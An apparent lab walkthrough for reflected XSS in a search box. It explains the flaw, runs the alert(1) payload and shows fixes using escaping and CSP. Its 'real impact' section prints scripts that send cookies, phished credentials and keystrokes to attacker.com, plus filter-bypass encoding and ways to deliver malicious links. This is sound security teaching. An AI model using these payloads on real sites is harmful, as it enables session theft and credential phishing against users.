Goal:

  • ๐Ÿ” Understand reflected XSS vulnerabilities
  • ๐ŸŽฏ Identify unsanitized user input reflection
  • ๐Ÿ”Ž Locate injection points in search functionality
  • ๐Ÿ“Š Craft basic XSS payload
  • ๐Ÿ” Execute JavaScript in victim's browser
  • ๐Ÿ’ก Learn how lack of encoding enables attacks
  • ๐Ÿ—๏ธ Trigger alert() function to prove exploitation
  • โœ… Complete the lab by executing XSS

๐Ÿง  Concept Recap

Reflected Cross-Site Scripting (XSS) occurs when an application receives data in an HTTP request and includes that data in the immediate response in an unsafe way. If the application doesn't properly encode or sanitize the reflected input, an attacker can inject malicious JavaScript that executes in the victim's browser.

๐Ÿ“Š The Vulnerability

What is Reflected XSS?

Normal Application Flow:
User Input โ†’ Application โ†’ Response
    โ†“
"laptop"  โ†’ Search: laptop โ†’ "Results for: laptop"
    โ†“
Safe: Input displayed as plain text โœ“

Vulnerable Application Flow:
User Input โ†’ Application โ†’ Response (No Encoding!)
    โ†“
"<script>alert(1)</script>" โ†’ Search โ†’ HTML includes script tag
    โ†“
Dangerous: Browser executes the script! โš ๏ธ
The Problem:
โ””โ”€โ”€ Application reflects user input directly into HTML
    โ””โ”€โ”€ Without encoding/escaping special characters
    โ””โ”€โ”€ Browser interprets input as code, not data
    โ””โ”€โ”€ Attacker's JavaScript executes in victim's browser

HTML Context โ€” Nothing Encoded:

Vulnerable Code (Conceptual):

def search(request):
    query = request.GET.get('search')
    
    # โŒ DANGEROUS: Direct reflection with no encoding
    html = f"<h1>Results for: {query}</h1>"
    
    return HttpResponse(html)

What happens:
โ”œโ”€โ”€ User searches for: laptop
โ”œโ”€โ”€ Response: <h1>Results for: laptop</h1>
โ””โ”€โ”€ Browser displays: "Results for: laptop" โœ“
But if attacker searches for: <script>alert(1)</script>
โ”œโ”€โ”€ Response: <h1>Results for: <script>alert(1)</script></h1>
โ”œโ”€โ”€ Browser sees: <script> tag in HTML
โ”œโ”€โ”€ Browser executes: alert(1)
โ””โ”€โ”€ XSS successful! โš ๏ธ

Why it works:
โ””โ”€โ”€ No encoding of < > characters
    โ””โ”€โ”€ Browser treats input as HTML/JavaScript
    โ””โ”€โ”€ Not as plain text data
    โ””โ”€โ”€ Script executes in page context

Attack Vector Breakdown:

The Payload: <script>alert(1)</script>

Breakdown:
โ”œโ”€โ”€ <script> โ† HTML tag that executes JavaScript
โ”œโ”€โ”€ alert(1) โ† JavaScript function call
โ”œโ”€โ”€ </script> โ† Closing tag
โ””โ”€โ”€ Goal: Prove JavaScript execution

How it gets reflected:
1. Attacker crafts URL:
   https://victim.com/search?q=<script>alert(1)</script>
2. Application processes request:
   query = "<script>alert(1)</script>"
3. Application reflects in response:
   <html>
     <h1>Search results for: <script>alert(1)</script></h1>
   </html>
4. Browser renders page:
   โ”œโ”€โ”€ Parses HTML
   โ”œโ”€โ”€ Encounters <script> tag
   โ”œโ”€โ”€ Executes JavaScript: alert(1)
   โ””โ”€โ”€ Alert box appears โœ“
5. Attack confirmed:
   โ””โ”€โ”€ JavaScript executed successfully
   โ””โ”€โ”€ Attacker controls browser behavior
   โ””โ”€โ”€ Can steal cookies, redirect, modify page

Why "Nothing Encoded" Matters:

Proper Encoding vs No Encoding:

WITH Encoding (Secure):
โ”œโ”€โ”€ Input: <script>alert(1)</script>
โ”œโ”€โ”€ Encoded: <script>alert(1)</script>
โ”œโ”€โ”€ Browser displays: <script>alert(1)</script>
โ””โ”€โ”€ Rendered as text, NOT executed โœ“

WITHOUT Encoding (Vulnerable):
โ”œโ”€โ”€ Input: <script>alert(1)</script>
โ”œโ”€โ”€ Reflected: <script>alert(1)</script>
โ”œโ”€โ”€ Browser parses: Valid HTML/JavaScript
โ””โ”€โ”€ Script executes! โš ๏ธ

HTML Encoding converts:
โ”œโ”€โ”€ < becomes <
โ”œโ”€โ”€ > becomes >
โ”œโ”€โ”€ " becomes "
โ”œโ”€โ”€ ' becomes &#x27;
โ”œโ”€โ”€ & becomes &
โ””โ”€โ”€ Prevents browser from interpreting as code

No encoding means:
โ””โ”€โ”€ Special characters remain active
    โ””โ”€โ”€ Browser treats them as markup
    โ””โ”€โ”€ Attacker can inject any HTML/JavaScript
    โ””โ”€โ”€ Full control over page execution

Real-World Impact:

What attackers can do with XSS:

1. Session Hijacking
   โ”œโ”€โ”€ Steal cookies: document.cookie
   โ”œโ”€โ”€ Send to attacker: fetch('evil.com?c='+document.cookie)
   โ”œโ”€โ”€ Attacker uses cookies to impersonate victim
   โ””โ”€โ”€ Full account takeover โœ“

2. Credential Theft
   โ”œโ”€โ”€ Inject fake login form
   โ”œโ”€โ”€ Capture username/password
   โ”œโ”€โ”€ Send to attacker's server
   โ””โ”€โ”€ Steal credentials โœ“

3. Phishing
   โ”œโ”€โ”€ Inject malicious content
   โ”œโ”€โ”€ Trick users into clicking links
   โ”œโ”€โ”€ Redirect to attacker's site
   โ””โ”€โ”€ Harvest sensitive data โœ“

4. Keylogging
   โ”œโ”€โ”€ Install JavaScript keylogger
   โ”œโ”€โ”€ Capture all keystrokes
   โ”œโ”€โ”€ Send to attacker
   โ””โ”€โ”€ Steal passwords, messages, data โœ“

5. Browser Exploitation
   โ”œโ”€โ”€ Scan internal network
   โ”œโ”€โ”€ Exploit browser vulnerabilities
   โ”œโ”€โ”€ Install malware
   โ””โ”€โ”€ Full system compromise โœ“

Reflected XSS requires:
โ””โ”€โ”€ Victim to click malicious link
    โ””โ”€โ”€ Attacker sends via: email, social media, ads
    โ””โ”€โ”€ Link contains XSS payload
    โ””โ”€โ”€ Victim's browser executes attacker's code
    โ””โ”€โ”€ Impact occurs in victim's session

๐Ÿ› ๏ธ Step-by-Step Attack

๐Ÿ”ง Step 1 โ€” Access Lab Environment

  1. ๐ŸŒ Click "Access the lab" button
  2. ๐Ÿ” Configure Burp Suite proxy (optional โ€” for analysis)
  3. ๐Ÿ“ฑ Wait for lab environment to initialize

Lab interface:

Lab Environment
โ”œโ”€โ”€ Web application loads
โ”œโ”€โ”€ E-commerce/shopping site
โ”œโ”€โ”€ Search functionality present
โ”œโ”€โ”€ Products displayed
โ””โ”€โ”€ Search box in header/navigation

4. โœ… Lab is ready when page fully loads

Expected page:

Product Catalog
โ”œโ”€โ”€ Header with search box
โ”œโ”€โ”€ Product listings
โ”œโ”€โ”€ Categories/navigation
โ”œโ”€โ”€ Footer
โ””โ”€โ”€ Search form: [Enter search term...]

๐Ÿ” Step 2 โ€” Locate Search Functionality

  1. ๐Ÿ‘€ Look for Search box in the page
  2. ๐Ÿ”Ž Common locations:
  • Top navigation bar
  • Header section
  • Sidebar
  • Main content area

Search interface:

Search Form
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  [Search products...]    ๐Ÿ”โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
     โ†“
  [Search button]

Identifying the input field:

HTML (View Source):
<form action="/search" method="GET">
  <input type="text" name="search" placeholder="Search...">
  <button type="submit">Search</button>
</form>

Key observations:
โ”œโ”€โ”€ Method: GET (parameters in URL)
โ”œโ”€โ”€ Action: /search endpoint
โ”œโ”€โ”€ Input name: "search" parameter
โ””โ”€โ”€ User input will be in URL

๐Ÿงช Step 3 โ€” Test for Input Reflection

Try a simple test string:

  1. โœ๏ธ Click in the search box
  2. ๐Ÿ“ Type a unique test string: test123
  3. ๐Ÿ” Click Search or press Enter

Observe the response:

URL after search:
https://lab-id.web-security-academy.net/search?search=test123
                                                      โ†‘
                                             Your input in URL

Page displays:
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Search Results
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
No results found for: test123
                      โ†‘
               Your input reflected!

Confirmation:
โ””โ”€โ”€ Input "test123" appears in the response
    โ””โ”€โ”€ Reflected in: "No results found for: test123"
    โ””โ”€โ”€ Next: Test if it's encoded

๐Ÿ”ฌ Step 4 โ€” Test for HTML Encoding

Test with HTML special characters:

  1. โœ๏ธ Clear the search box
  2. ๐Ÿ“ Type: <test>
  3. ๐Ÿ” Click Search

Analyze the response:

If properly encoded (SAFE):
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
No results found for: <test>
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Browser displays: <test> as text
View Source shows: <test>
Result: Encoded = Not vulnerable โœ—

If NOT encoded (VULNERABLE):
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
No results found for: <test>
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
View Source shows: <test>
(Raw < and > characters)
Result: NOT encoded = Vulnerable! โœ“
How to verify:
โ””โ”€โ”€ Right-click โ†’ "View Page Source"
    โ””โ”€โ”€ Look for your test input
    โ””โ”€โ”€ If you see: <test> (raw)
        โ””โ”€โ”€ Not encoded = Vulnerable!
    โ””โ”€โ”€ If you see: <test>
        โ””โ”€โ”€ Encoded = Not vulnerable

In this lab:

Expected result:
โ””โ”€โ”€ <test> appears as raw HTML
    โ””โ”€โ”€ No encoding applied
    โ””โ”€โ”€ Vulnerable to XSS โœ“

๐ŸŽฏ Step 5 โ€” Craft XSS Payload

The classic XSS payload:

<script>alert(1)</script>

Why this payload works:

Payload Breakdown:

<script>
โ”œโ”€โ”€ HTML tag
โ”œโ”€โ”€ Tells browser: "Execute JavaScript"
โ””โ”€โ”€ Everything inside is JavaScript code
alert(1)
โ”œโ”€โ”€ JavaScript function
โ”œโ”€โ”€ Creates popup alert box
โ”œโ”€โ”€ Parameter: 1 (any value works)
โ””โ”€โ”€ Proves JavaScript execution
</script>
โ”œโ”€โ”€ Closing tag
โ”œโ”€โ”€ Required for proper HTML
โ””โ”€โ”€ Ends JavaScript execution block
Alternative payloads:
โ”œโ”€โ”€ <script>alert(document.domain)</script>
โ”œโ”€โ”€ <script>alert(document.cookie)</script>
โ”œโ”€โ”€ <img src=x onerror=alert(1)>
โ”œโ”€โ”€ <svg onload=alert(1)>
โ””โ”€โ”€ <body onload=alert(1)>
For this lab, use: <script>alert(1)</script>

๐Ÿ’‰ Step 6 โ€” Inject the XSS Payload

Execute the attack:

  1. โœ๏ธ Clear the search box
  2. ๐Ÿ“ Copy and paste the payload:
<script>alert(1)</script>

3. ๐Ÿ” Click Search or press Enter

What happens:

URL becomes:
https://lab-id.web-security-academy.net/search?search=<script>alert(1)</script>

Server processes:
โ”œโ”€โ”€ Receives: search parameter
โ”œโ”€โ”€ Value: <script>alert(1)</script>
โ”œโ”€โ”€ Reflects it in HTML response
โ””โ”€โ”€ No encoding applied

Browser receives HTML:
<html>
  <body>
    <h1>Search results for: <script>alert(1)</script></h1>
  </body>
</html>

Browser renders:
โ”œโ”€โ”€ Parses HTML document
โ”œโ”€โ”€ Encounters: <script> tag
โ”œโ”€โ”€ Executes: alert(1)
โ”œโ”€โ”€ Alert box appears! ๐Ÿ’ฅ
โ””โ”€โ”€ XSS successful!

โœ… Step 7 โ€” Verify Successful Exploitation

Alert box appears:

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  โš ๏ธ This page says:         โ”‚
โ”‚                             โ”‚
โ”‚  1                          โ”‚
โ”‚                             โ”‚
โ”‚         [  OK  ]            โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

This proves:
โ”œโ”€โ”€ JavaScript executed โœ“
โ”œโ”€โ”€ XSS vulnerability confirmed โœ“
โ”œโ”€โ”€ alert(1) function called โœ“
โ””โ”€โ”€ Attack successful โœ“

Click OK on the alert box:

After clicking OK:
โ””โ”€โ”€ Alert closes
    โ””โ”€โ”€ Page may show: "No results found"
    โ””โ”€โ”€ Or: Page finishes loading
    โ””โ”€โ”€ Lab system detected alert() execution

๐Ÿ† Step 8 โ€” Lab Completion

Automatic verification:

Lab System:
โ”œโ”€โ”€ Monitors for alert() execution
โ”œโ”€โ”€ Detects: Alert box was triggered
โ”œโ”€โ”€ Validates: XSS successfully executed
โ””โ”€โ”€ Marks lab as: SOLVED โœ“

Success Banner:
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  โœ… Congratulations!                 โ”‚
โ”‚                                      โ”‚
โ”‚  You solved the lab:                 โ”‚
โ”‚  Reflected XSS into HTML context     โ”‚
โ”‚  with nothing encoded                โ”‚
โ”‚                                      โ”‚
โ”‚  Lab Status: SOLVED โœ“                โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Confirmation:

Lab completion indicators:
โ”œโ”€โ”€ Green checkmark appears
โ”œโ”€โ”€ "Congratulations" message displays
โ”œโ”€โ”€ Lab marked as complete in dashboard
โ””โ”€โ”€ Progress updated in your account

๐Ÿ”— Complete Attack Chain

Step 1: Access lab environment
         โ”œโ”€โ”€ Click "Access the lab"
         โ”œโ”€โ”€ Wait for page to load
         โ””โ”€โ”€ E-commerce site appears
         โ†“
Step 2: Locate search functionality
         โ”œโ”€โ”€ Find search box in header
         โ”œโ”€โ”€ Identify search form
         โ””โ”€โ”€ Ready to test input
         โ†“
Step 3: Test input reflection
         โ”œโ”€โ”€ Search for: test123
         โ”œโ”€โ”€ Observe: Input appears in response
         โ”œโ”€โ”€ Confirm: "No results found for: test123"
         โ””โ”€โ”€ Input reflection confirmed โœ“
         โ†“
Step 4: Test for encoding
         โ”œโ”€โ”€ Search for: <test>
         โ”œโ”€โ”€ View page source
         โ”œโ”€โ”€ Check: Raw <test> or <test>?
         โ”œโ”€โ”€ Result: Raw <test> visible
         โ””โ”€โ”€ No encoding = Vulnerable! โœ“
         โ†“
Step 5: Craft XSS payload
         โ”œโ”€โ”€ Choose: <script>alert(1)</script>
         โ”œโ”€โ”€ Understand: Will execute JavaScript
         โ”œโ”€โ”€ Prepare: Copy payload
         โ””โ”€โ”€ Ready to inject
         โ†“
Step 6: Inject payload
         โ”œโ”€โ”€ Paste: <script>alert(1)</script>
         โ”œโ”€โ”€ Click: Search button
         โ”œโ”€โ”€ URL: /search?search=<script>alert(1)</script>
         โ””โ”€โ”€ Submit request
         โ†“
Step 7: Observe execution
         โ”œโ”€โ”€ Browser: Parses HTML response
         โ”œโ”€โ”€ Encounters: <script> tag
         โ”œโ”€โ”€ Executes: alert(1)
         โ”œโ”€โ”€ Alert box: Appears on screen! ๐Ÿ’ฅ
         โ””โ”€โ”€ XSS confirmed! โœ“
         โ†“
Step 8: Verify completion
         โ”œโ”€โ”€ Click: OK on alert
         โ”œโ”€โ”€ Lab system: Detects alert()
         โ”œโ”€โ”€ Status: SOLVED โœ“
         โ””โ”€โ”€ Success banner: Appears
         โ†“
Step 9: Lab complete! ๐ŸŽ‰
         โ”œโ”€โ”€ XSS vulnerability exploited
         โ”œโ”€โ”€ JavaScript executed successfully
         โ”œโ”€โ”€ Lab objectives met
         โ””โ”€โ”€ Reflected XSS mastered

๐Ÿ“š Understanding Reflected XSS

What is Reflected XSS?

Reflected XSS Definition:

A web security vulnerability where:
โ”œโ”€โ”€ Application receives data in HTTP request
โ”œโ”€โ”€ Data is included in immediate response
โ”œโ”€โ”€ Data is not properly encoded/sanitized
โ””โ”€โ”€ Attacker can inject malicious scripts

Characteristics:
โ”œโ”€โ”€ Non-persistent (not stored in database)
โ”œโ”€โ”€ Requires victim to click malicious link
โ”œโ”€โ”€ Executes in victim's browser context
โ”œโ”€โ”€ Can steal cookies, credentials, sessions
โ””โ”€โ”€ One of the most common web vulnerabilities

Types of XSS:
โ”œโ”€โ”€ Reflected XSS (this lab)
โ”‚   โ””โ”€โ”€ Payload in URL, immediate execution
โ”œโ”€โ”€ Stored XSS
โ”‚   โ””โ”€โ”€ Payload stored in database, affects all users
โ””โ”€โ”€ DOM-based XSS
    โ””โ”€โ”€ Payload executed via client-side JavaScript

Severity: HIGH
โ””โ”€โ”€ Can lead to complete account compromise
    โ””โ”€โ”€ Session hijacking
    โ””โ”€โ”€ Credential theft
    โ””โ”€โ”€ Malicious redirects

How Reflected XSS Works

Attack Mechanism:

1. Attacker crafts malicious URL
   โ””โ”€โ”€ Contains XSS payload in parameter
   โ””โ”€โ”€ Example: /search?q=<script>alert(1)</script>

2. Attacker sends URL to victim
   โ””โ”€โ”€ Via: Email, social media, ads, forums
   โ””โ”€โ”€ Often disguised with URL shorteners
   โ””โ”€โ”€ Victim clicks the link

3. Victim's browser requests page
   โ””โ”€โ”€ Sends: HTTP GET request with payload
   โ””โ”€โ”€ To: Vulnerable application

4. Application reflects payload
   โ””โ”€โ”€ Takes: User input from parameter
   โ””โ”€โ”€ Includes: Directly in HTML response
   โ””โ”€โ”€ Without: Encoding or sanitization

5. Browser executes payload
   โ””โ”€โ”€ Parses: HTML response
   โ””โ”€โ”€ Encounters: <script> tag
   โ””โ”€โ”€ Executes: Attacker's JavaScript
   โ””โ”€โ”€ In: Victim's browser context

6. Attack succeeds
   โ””โ”€โ”€ Attacker's code runs
   โ””โ”€โ”€ With: Victim's session/cookies
   โ””โ”€โ”€ Can: Steal data, perform actions
   โ””โ”€โ”€ As: The victim user

The vulnerability exists because:
โ””โ”€โ”€ Application trusts user input
    โ””โ”€โ”€ Reflects it without validation
    โ””โ”€โ”€ No encoding of special characters
    โ””โ”€โ”€ Browser interprets as code

HTML Context Explained

What is "HTML Context"?

The payload is injected into:
โ””โ”€โ”€ Regular HTML content
    โ””โ”€โ”€ Between HTML tags
    โ””โ”€โ”€ In page body
    โ””โ”€โ”€ Not in JavaScript, not in attributes

Example vulnerable code:
<html>
  <body>
    <h1>Search Results</h1>
    <p>You searched for: USER_INPUT_HERE</p>
    โ†‘
    This is HTML context
    Input appears between HTML tags
  </body>
</html>

Injection point:
<p>You searched for: <script>alert(1)</script></p>
                     โ†‘
                     Payload inserted here
                     Browser interprets as new tag

Why it's vulnerable:
โ”œโ”€โ”€ No encoding applied
โ”œโ”€โ”€ < and > remain as special characters
โ”œโ”€โ”€ Browser creates new HTML element
โ””โ”€โ”€ Script executes
If properly encoded:
<p>You searched for: <script>alert(1)</script></p>
                     โ†‘
                     Browser displays: <script>alert(1)</script>
                     As text, not code โœ“

Why Encoding Matters

HTML Encoding Process:

Special characters converted to HTML entities:
โ”œโ”€โ”€ < becomes <
โ”œโ”€โ”€ > becomes >
โ”œโ”€โ”€ & becomes &
โ”œโ”€โ”€ " becomes "
โ”œโ”€โ”€ ' becomes &#x27; or &apos;
โ””โ”€โ”€ These display as characters, not markup

Without Encoding (Vulnerable):
Input:  <script>alert(1)</script>
Output: <script>alert(1)</script>
Result: Browser executes JavaScript โš ๏ธ

With Encoding (Secure):
Input:  <script>alert(1)</script>
Output: <script>alert(1)</script>
Result: Browser displays text โœ“

Why encoding prevents XSS:
โ””โ”€โ”€ HTML entities are not interpreted as tags
    โ””โ”€โ”€ Browser renders them as plain text
    โ””โ”€โ”€ Cannot create new HTML elements
    โ””โ”€โ”€ JavaScript cannot execute
    โ””โ”€โ”€ Safe to display user input

๐Ÿ”ฌ Advanced Topics

Alternative XSS Payloads

Besides <script>alert(1)</script>, other payloads work:

<!-- Image tag with error handler -->
<img src=x onerror=alert(1)>
โ”œโ”€โ”€ src=x: Invalid image source
โ”œโ”€โ”€ onerror: Event handler for errors
โ””โ”€โ”€ alert(1): JavaScript to execute

<!-- SVG with onload event -->
<svg onload=alert(1)>
โ”œโ”€โ”€ SVG: Scalable Vector Graphics tag
โ”œโ”€โ”€ onload: Executes when SVG loads
โ””โ”€โ”€ alert(1): JavaScript payload

<!-- Body tag with onload -->
<body onload=alert(1)>
โ”œโ”€โ”€ body: HTML body element
โ”œโ”€โ”€ onload: Fires when page loads
โ””โ”€โ”€ May need to close existing tags

<!-- iframe with javascript: protocol -->
<iframe src="javascript:alert(1)">
โ”œโ”€โ”€ iframe: Inline frame element
โ”œโ”€โ”€ javascript:: Execute JavaScript
โ””โ”€โ”€ alert(1): Payload

<!-- Details tag with ontoggle -->
<details open ontoggle=alert(1)>
โ”œโ”€โ”€ details: HTML5 disclosure widget
โ”œโ”€โ”€ open: Auto-opens the details
โ”œโ”€โ”€ ontoggle: Fires when toggled
โ””โ”€โ”€ alert(1): JavaScript

Why multiple payloads exist:
โ””โ”€โ”€ Different contexts have different restrictions
    โ””โ”€โ”€ Some tags are filtered
    โ””โ”€โ”€ Some attributes are blocked
    โ””โ”€โ”€ Encoding may vary by context
    โ””โ”€โ”€ Having alternatives helps bypass filters

URL Encoding in XSS

When XSS payload is in URL:

Browser automatically URL-encodes some characters:
โ”œโ”€โ”€ Space becomes %20
โ”œโ”€โ”€ < becomes %3C
โ”œโ”€โ”€ > becomes %3E
โ””โ”€โ”€ Etc.

Example:
URL typed: /search?q=<script>alert(1)</script>
URL sent:  /search?q=%3Cscript%3Ealert(1)%3C/script%3E
Server decodes:
โ””โ”€โ”€ Receives: <script>alert(1)</script>
    โ””โ”€โ”€ Reflects: In HTML response
    โ””โ”€โ”€ Browser: Executes JavaScript

Manual URL encoding (if needed):
โ””โ”€โ”€ < = %3C
โ””โ”€โ”€ > = %3E
โ””โ”€โ”€ " = %22
โ””โ”€โ”€ ' = %27
โ””โ”€โ”€ ( = %28
โ””โ”€โ”€ ) = %29

When to manually encode:
โ””โ”€โ”€ Web Application Firewalls (WAF) may block
โ””โ”€โ”€ Filters may detect plain <script>
โ””โ”€โ”€ URL encoding can bypass simple filters

Delivering Reflected XSS Attacks

How attackers deliver malicious links:

1. Phishing Emails
   โ”œโ”€โ”€ Email with malicious link
   โ”œโ”€โ”€ Looks like legitimate notification
   โ”œโ”€โ”€ "Click here to reset password"
   โ””โ”€โ”€ Link contains XSS payload

2. Social Media
   โ”œโ”€โ”€ Post malicious link on Twitter/Facebook
   โ”œโ”€โ”€ "Check out this funny video!"
   โ”œโ”€โ”€ Shortened URL hides payload
   โ””โ”€โ”€ Users click without seeing full URL

3. Forum/Comment Injection
   โ”œโ”€โ”€ Post on forum with link
   โ”œโ”€โ”€ "For more info, click here"
   โ”œโ”€โ”€ URL contains XSS
   โ””โ”€โ”€ Other users click and get exploited

4. Malicious Advertisements
   โ”œโ”€โ”€ Buy ad space on legitimate sites
   โ”œโ”€โ”€ Ad contains malicious link
   โ”œโ”€โ”€ Users click, XSS executes
   โ””โ”€โ”€ Called "Malvertising"

5. URL Shorteners
   โ”œโ”€โ”€ Use bit.ly, tinyurl, etc.
   โ”œโ”€โ”€ Hide actual malicious URL
   โ”œโ”€โ”€ Users can't see the payload
   โ””โ”€โ”€ More likely to click

Disguising XSS URLs:
Original: https://victim.com/search?q=<script>alert(1)</script>
Encoded:  https://victim.com/search?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E
Shortened: https://bit.ly/abc123

Exploiting Reflected XSS for Real Impact

Beyond alert(), real attacks do:

// 1. Cookie Stealing
<script>
  // Send victim's cookies to attacker
  fetch('https://attacker.com/steal?c=' + document.cookie);
</script>

// 2. Credential Harvesting
<script>
  // Inject fake login form
  document.body.innerHTML = `
    <h1>Session Expired - Please Login</h1>
    <form action="https://attacker.com/phish">
      Username: <input name="user"><br>
      Password: <input name="pass" type="password"><br>
      <button>Login</button>
    </form>
  `;
</script>

// 3. Keylogging
<script>
  // Capture all keystrokes
  document.addEventListener('keypress', function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
  });
</script>

// 4. Session Riding (CSRF via XSS)
<script>
  // Perform action as victim
  fetch('/change-email', {
    method: 'POST',
    body: 'email=attacker@evil.com',
    credentials: 'include'
  });
</script>

// 5. Defacement
<script>
  // Replace page content
  document.body.innerHTML = '<h1>Hacked!</h1>';
</script>

// 6. Redirection to Malicious Site
<script>
  // Redirect user to phishing site
  window.location = 'https://attacker.com/phishing';
</script>

๐Ÿ›ก๏ธ How to Fix (Secure Code)

Fix 1: HTML Encoding Output

# โŒ VULNERABLE - Direct reflection
from flask import Flask, request

@app.route('/search')
def search():
    query = request.args.get('search', '')
    # Directly embedding user input in HTML
    return f"<h1>Results for: {query}</h1>"
# โœ… SECURE - HTML encoding
from flask import Flask, request
from markupsafe import escape
@app.route('/search')
def search():
    query = request.args.get('search', '')
    # HTML encode the user input
    safe_query = escape(query)
    return f"<h1>Results for: {safe_query}</h1>"
# Even better - Use template engine with auto-escaping
from flask import Flask, request, render_template_string
@app.route('/search')
def search():
    query = request.args.get('search', '')
    # Jinja2 auto-escapes by default
    return render_template_string(
        "<h1>Results for: {{ query }}</h1>",
        query=query
    )

Fix 2: Context-Aware Encoding

// โŒ VULNERABLE - Wrong encoding context
function displayUsername(username) {
  // User input in JavaScript context
  document.body.innerHTML = `
    <script>
      var user = "${username}";  // DANGEROUS!
    </script>
  `;
}

// โœ… SECURE - JavaScript encoding
function displayUsername(username) {
  // Properly escape for JavaScript context
  var escapedUser = username
    .replace(/\\/g, '\\\\')
    .replace(/'/g, "\\'")
    .replace(/"/g, '\\"')
    .replace(/\n/g, '\\n')
    .replace(/\r/g, '\\r');
  
  document.body.innerHTML = `
    <script>
      var user = "${escapedUser}";
    </script>
  `;
}

// Even better - Avoid inline JavaScript entirely
function displayUsername(username) {
  // Use DOM methods, no innerHTML with scripts
  const userElement = document.createElement('div');
  userElement.textContent = username;  // textContent auto-escapes
  document.body.appendChild(userElement);
}

Fix 3: Use Security Libraries

<?php
// โŒ VULNERABLE - No encoding
$search = $_GET['search'];
echo "<h1>Results for: " . $search . "</h1>";

// โœ… SECURE - Using htmlspecialchars()
$search = $_GET['search'];
$safe_search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');
echo "<h1>Results for: " . $safe_search . "</h1>";
// What htmlspecialchars does:
// < becomes <
// > becomes >
// & becomes &
// " becomes "
// ' becomes &#039;
// โœ… EVEN BETTER - Template engine
// Using Twig (auto-escapes by default)
echo $twig->render('search.html', [
    'search_query' => $search
]);
// Template: <h1>Results for: {{ search_query }}</h1>
?>

Fix 4: Content Security Policy (CSP)

<!-- โŒ VULNERABLE - No CSP -->
<html>
<head>
  <title>Vulnerable Site</title>
</head>
<body>
  <!-- XSS can execute here -->
</body>
</html>

<!-- โœ… SECURE - Strict CSP -->
<html>
<head>
  <title>Protected Site</title>
  <!-- CSP header prevents inline scripts -->
  <meta http-equiv="Content-Security-Policy" 
        content="default-src 'self'; 
                 script-src 'self'; 
                 style-src 'self' 'unsafe-inline'; 
                 img-src 'self' data:;">

</head>
<body>
  <!-- Inline scripts blocked by CSP -->
  <!-- <script>alert(1)</script> won't execute -->
</body>
</html>
<!-- Server-side CSP header (better) -->
# Python/Flask
@app.after_request
def set_csp(response):
    response.headers['Content-Security-Policy'] = \
        "default-src 'self'; script-src 'self'; object-src 'none';"
    return response
// Node.js/Express
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; object-src 'none';"
  );
  next();
});

Fix 5: Input Validation (Defense in Depth)

# โŒ VULNERABLE - Input validation alone isn't enough
@app.route('/search')
def search():
    query = request.args.get('search', '')
    
    # This doesn't prevent XSS!
    if len(query) > 100:
        return "Query too long"
    
    # Still vulnerable to XSS
    return f"<h1>Results for: {query}</h1>"

# โœ… BETTER - Input validation + output encoding
import re
from markupsafe import escape
@app.route('/search')
def search():
    query = request.args.get('search', '')
    
    # Input validation (defense in depth)
    if not re.match(r'^[a-zA-Z0-9\s\-]+$', query):
        return "Invalid search query", 400
    
    # STILL encode output (primary defense)
    safe_query = escape(query)
    return f"<h1>Results for: {safe_query}</h1>"

# Key principle:
# โ””โ”€โ”€ Input validation is helpful but not sufficient
#     โ””โ”€โ”€ ALWAYS encode output regardless of validation
#     โ””โ”€โ”€ Multiple layers of defense
#     โ””โ”€โ”€ Never trust any input

